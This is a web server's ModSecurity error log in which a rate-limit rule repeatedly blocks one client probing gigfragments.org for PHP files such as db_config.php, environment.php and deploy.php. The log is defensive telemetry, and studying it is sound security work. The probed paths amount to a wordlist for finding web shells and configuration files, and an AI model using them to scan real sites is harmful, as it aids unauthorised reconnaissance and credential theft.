[Sat Apr 25 05:17:03.022107 2026] [:error] [pid 44319:tid 44343] [client 20.251.112.6:40130] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/raf.php"] [unique_id "aevdz8zJPAVLUb2pWtJGjgAAAA4"]
[Sat Apr 25 05:17:03.541558 2026] [:error] [pid 46083:tid 46105] [client 20.251.112.6:47058] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/raf.php"] [unique_id "aevdzzxw_Zq74vWdjmkVlgAAARI"]
[Sat Apr 25 05:17:04.087786 2026] [:error] [pid 44425:tid 44446] [client 20.251.112.6:40152] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ayk.php"] [unique_id "aevd0CUl-VlItvY2tR_v8QAAANM"]
[Sat Apr 25 05:17:04.609501 2026] [:error] [pid 44320:tid 44362] [client 20.251.112.6:40148] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ayk.php"] [unique_id "aevd0DmFqSpku_dij8hoNgAAAEY"]
[Sat Apr 25 05:17:05.130902 2026] [:error] [pid 44425:tid 44443] [client 20.251.112.6:54771] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ayk.php"] [unique_id "aevd0SUl-VlItvY2tR_v8wAAANA"]
[Sat Apr 25 05:17:05.656232 2026] [:error] [pid 44319:tid 44346] [client 20.251.112.6:61867] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ayk.php"] [unique_id "aevd0czJPAVLUb2pWtJGkQAAABE"]
[Sat Apr 25 05:17:06.185362 2026] [:error] [pid 44320:tid 44364] [client 20.251.112.6:45487] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/infos.php"] [unique_id "aevd0jmFqSpku_dij8hoOQAAAEg"]
[Sat Apr 25 05:17:06.711549 2026] [:error] [pid 44319:tid 44335] [client 20.251.112.6:45445] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/infos.php"] [unique_id "aevd0szJPAVLUb2pWtJGlQAAAAY"]
[Sat Apr 25 05:17:07.235169 2026] [:error] [pid 44319:tid 44334] [client 20.251.112.6:47060] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/infos.php"] [unique_id "aevd08zJPAVLUb2pWtJGlgAAAAU"]
[Sat Apr 25 05:17:07.760010 2026] [:error] [pid 44319:tid 44339] [client 20.251.112.6:47082] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/infos.php"] [unique_id "aevd08zJPAVLUb2pWtJGmAAAAAo"]
[Sat Apr 25 05:17:08.302456 2026] [:error] [pid 46083:tid 46104] [client 20.251.112.6:40188] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aws.php"] [unique_id "aevd1Dxw_Zq74vWdjmkVnQAAARE"]
[Sat Apr 25 05:17:08.851058 2026] [:error] [pid 44425:tid 44438] [client 20.251.112.6:34797] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aws.php"] [unique_id "aevd1CUl-VlItvY2tR_v9QAAAMs"]
[Sat Apr 25 05:17:09.370634 2026] [:error] [pid 44320:tid 44367] [client 20.251.112.6:54755] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aws.php"] [unique_id "aevd1TmFqSpku_dij8hoPwAAAEs"]
[Sat Apr 25 05:17:09.896670 2026] [:error] [pid 44320:tid 44369] [client 20.251.112.6:54745] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aws.php"] [unique_id "aevd1TmFqSpku_dij8hoQgAAAE0"]
[Sat Apr 25 05:17:10.415100 2026] [:error] [pid 44320:tid 44380] [client 20.251.112.6:33796] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/embed.php"] [unique_id "aevd1jmFqSpku_dij8hoRgAAAFg"]
[Sat Apr 25 05:17:10.969152 2026] [:error] [pid 46083:tid 46093] [client 20.251.112.6:61830] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/embed.php"] [unique_id "aevd1jxw_Zq74vWdjmkVowAAAQY"]
[Sat Apr 25 05:17:11.492200 2026] [:error] [pid 44321:tid 44387] [client 20.251.112.6:33400] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/embed.php"] [unique_id "aevd141b5lV-asWa_Y4aaAAAAIQ"]
[Sat Apr 25 05:17:12.015714 2026] [:error] [pid 46083:tid 46102] [client 20.251.112.6:53379] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/embed.php"] [unique_id "aevd2Dxw_Zq74vWdjmkVqAAAAQ8"]
[Sat Apr 25 05:17:12.548317 2026] [:error] [pid 46083:tid 46105] [client 20.251.112.6:40165] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/stat.php"] [unique_id "aevd2Dxw_Zq74vWdjmkVrAAAARI"]
[Sat Apr 25 05:17:13.085658 2026] [:error] [pid 44320:tid 44357] [client 20.251.112.6:47046] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/stat.php"] [unique_id "aevd2TmFqSpku_dij8hoTQAAAEE"]
[Sat Apr 25 05:17:13.611141 2026] [:error] [pid 46083:tid 46098] [client 20.251.112.6:38322] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/stat.php"] [unique_id "aevd2Txw_Zq74vWdjmkVrwAAAQs"]
[Sat Apr 25 05:17:14.185752 2026] [:error] [pid 46083:tid 46094] [client 20.251.112.6:40130] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/stat.php"] [unique_id "aevd2jxw_Zq74vWdjmkVsQAAAQc"]
[Sat Apr 25 05:17:14.704671 2026] [:error] [pid 46083:tid 46109] [client 20.251.112.6:54777] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/setup.php"] [unique_id "aevd2jxw_Zq74vWdjmkVtAAAARU"]
[Sat Apr 25 05:17:15.267296 2026] [:error] [pid 44319:tid 44333] [client 20.251.112.6:35183] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/setup.php"] [unique_id "aevd28zJPAVLUb2pWtJGoAAAAAQ"]
[Sat Apr 25 05:17:15.881052 2026] [:error] [pid 44319:tid 44343] [client 20.251.112.6:54725] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/setup.php"] [unique_id "aevd28zJPAVLUb2pWtJGogAAAA4"]
[Sat Apr 25 05:17:16.413684 2026] [:error] [pid 46083:tid 46100] [client 20.251.112.6:47086] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/setup.php"] [unique_id "aevd3Dxw_Zq74vWdjmkVtwAAAQ0"]
[Sat Apr 25 05:17:16.941601 2026] [:error] [pid 46083:tid 46092] [client 20.251.112.6:35922] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/development.php"] [unique_id "aevd3Dxw_Zq74vWdjmkVugAAAQU"]
[Sat Apr 25 05:17:17.470516 2026] [:error] [pid 44321:tid 44397] [client 20.251.112.6:35905] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/development.php"] [unique_id "aevd3Y1b5lV-asWa_Y4aaQAAAI4"]
[Sat Apr 25 05:17:18.016821 2026] [:error] [pid 44320:tid 44378] [client 20.251.112.6:33371] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/development.php"] [unique_id "aevd3jmFqSpku_dij8hoVwAAAFY"]
[Sat Apr 25 05:17:18.676417 2026] [:error] [pid 44320:tid 44359] [client 20.251.112.6:38327] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/development.php"] [unique_id "aevd3jmFqSpku_dij8hoWAAAAEM"]
[Sat Apr 25 05:17:19.216505 2026] [:error] [pid 44321:tid 44388] [client 20.251.112.6:47049] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/environment.php"] [unique_id "aevd341b5lV-asWa_Y4acAAAAIU"]
[Sat Apr 25 05:17:19.758340 2026] [:error] [pid 46083:tid 46090] [client 20.251.112.6:45453] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/environment.php"] [unique_id "aevd3zxw_Zq74vWdjmkVvAAAAQM"]
[Sat Apr 25 05:17:20.293300 2026] [:error] [pid 46083:tid 46105] [client 20.251.112.6:33794] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/environment.php"] [unique_id "aevd4Dxw_Zq74vWdjmkVvQAAARI"]
[Sat Apr 25 05:17:20.831891 2026] [:error] [pid 44321:tid 44399] [client 20.251.112.6:34813] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/environment.php"] [unique_id "aevd4I1b5lV-asWa_Y4adgAAAJA"]
[Sat Apr 25 05:17:21.366704 2026] [:error] [pid 44319:tid 44352] [client 20.251.112.6:33368] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/db_config.php"] [unique_id "aevd4czJPAVLUb2pWtJGrAAAABc"]
[Sat Apr 25 05:17:21.934041 2026] [:error] [pid 46083:tid 46091] [client 20.251.112.6:35943] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/db_config.php"] [unique_id "aevd4Txw_Zq74vWdjmkVvwAAAQQ"]
[Sat Apr 25 05:17:22.512627 2026] [:error] [pid 44321:tid 44392] [client 20.251.112.6:35189] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/db_config.php"] [unique_id "aevd4o1b5lV-asWa_Y4afAAAAIk"]
[Sat Apr 25 05:17:23.093486 2026] [:error] [pid 44425:tid 44440] [client 20.251.112.6:34762] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/db_config.php"] [unique_id "aevd4yUl-VlItvY2tR_wAQAAAM0"]
[Sat Apr 25 05:17:23.645943 2026] [:error] [pid 46083:tid 46098] [client 20.251.112.6:45479] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Get_Site_Info.php"] [unique_id "aevd4zxw_Zq74vWdjmkVwQAAAQs"]
[Sat Apr 25 05:17:24.202846 2026] [:error] [pid 44425:tid 44441] [client 20.251.112.6:34761] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Get_Site_Info.php"] [unique_id "aevd5CUl-VlItvY2tR_wCQAAAM4"]
[Sat Apr 25 05:17:24.749081 2026] [:error] [pid 44321:tid 44391] [client 20.251.112.6:34785] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Get_Site_Info.php"] [unique_id "aevd5I1b5lV-asWa_Y4afgAAAIg"]
[Sat Apr 25 05:17:25.280201 2026] [:error] [pid 46083:tid 46093] [client 20.251.112.6:54676] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Get_Site_Info.php"] [unique_id "aevd5Txw_Zq74vWdjmkVwgAAAQY"]
[Sat Apr 25 05:17:25.909829 2026] [:error] [pid 44425:tid 44442] [client 20.251.112.6:33816] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/deploy.php"] [unique_id "aevd5SUl-VlItvY2tR_wDQAAAM8"]
[Sat Apr 25 05:17:26.448249 2026] [:error] [pid 46083:tid 46094] [client 20.251.112.6:35182] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/deploy.php"] [unique_id "aevd5jxw_Zq74vWdjmkVxAAAAQc"]
[Sat Apr 25 05:17:26.999199 2026] [:error] [pid 44321:tid 44405] [client 20.251.112.6:35904] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/deploy.php"] [unique_id "aevd5o1b5lV-asWa_Y4agQAAAJY"]
[Sat Apr 25 05:17:27.560444 2026] [:error] [pid 44321:tid 44406] [client 20.251.112.6:35907] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/deploy.php"] [unique_id "aevd541b5lV-asWa_Y4ahAAAAJc"]
[Sat Apr 25 05:17:28.122720 2026] [:error] [pid 44321:tid 44391] [client 20.251.112.6:34809] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/apis.php"] [unique_id "aevd6I1b5lV-asWa_Y4ahwAAAIg"]
[Sat Apr 25 05:17:28.683410 2026] [:error] [pid 44320:tid 44371] [client 20.251.112.6:33839] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/apis.php"] [unique_id "aevd6DmFqSpku_dij8hoZgAAAE8"]
[Sat Apr 25 05:17:29.215149 2026] [:error] [pid 44320:tid 44364] [client 20.251.112.6:61872] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/apis.php"] [unique_id "aevd6TmFqSpku_dij8hoZwAAAEg"]
[Sat Apr 25 05:17:29.763344 2026] [:error] [pid 44425:tid 44435] [client 20.251.112.6:61860] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/apis.php"] [unique_id "aevd6SUl-VlItvY2tR_wFAAAAMg"]
[Sat Apr 25 05:17:30.296552 2026] [:error] [pid 44425:tid 44445] [client 20.251.112.6:33363] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/asdf.php"] [unique_id "aevd6iUl-VlItvY2tR_wFgAAANI"]
[Sat Apr 25 05:17:30.828588 2026] [:error] [pid 46083:tid 46097] [client 20.251.112.6:40154] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/asdf.php"] [unique_id "aevd6jxw_Zq74vWdjmkVygAAAQo"]
[Sat Apr 25 05:17:31.351650 2026] [:error] [pid 46083:tid 46110] [client 20.251.112.6:47053] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/asdf.php"] [unique_id "aevd6zxw_Zq74vWdjmkVzgAAARY"]
[Sat Apr 25 05:17:31.882026 2026] [:error] [pid 44319:tid 44330] [client 20.251.112.6:61842] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/asdf.php"] [unique_id "aevd68zJPAVLUb2pWtJGtQAAAAE"]
[Sat Apr 25 05:17:32.405492 2026] [:error] [pid 44425:tid 44444] [client 20.251.112.6:61846] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1100.php"] [unique_id "aevd7CUl-VlItvY2tR_wGwAAANE"]
[Sat Apr 25 05:17:32.928205 2026] [:error] [pid 44319:tid 44338] [client 20.251.112.6:40144] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1100.php"] [unique_id "aevd7MzJPAVLUb2pWtJGtgAAAAk"]
[Sat Apr 25 05:17:33.454001 2026] [:error] [pid 44321:tid 44406] [client 20.251.112.6:61826] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1100.php"] [unique_id "aevd7Y1b5lV-asWa_Y4ajwAAAJc"]
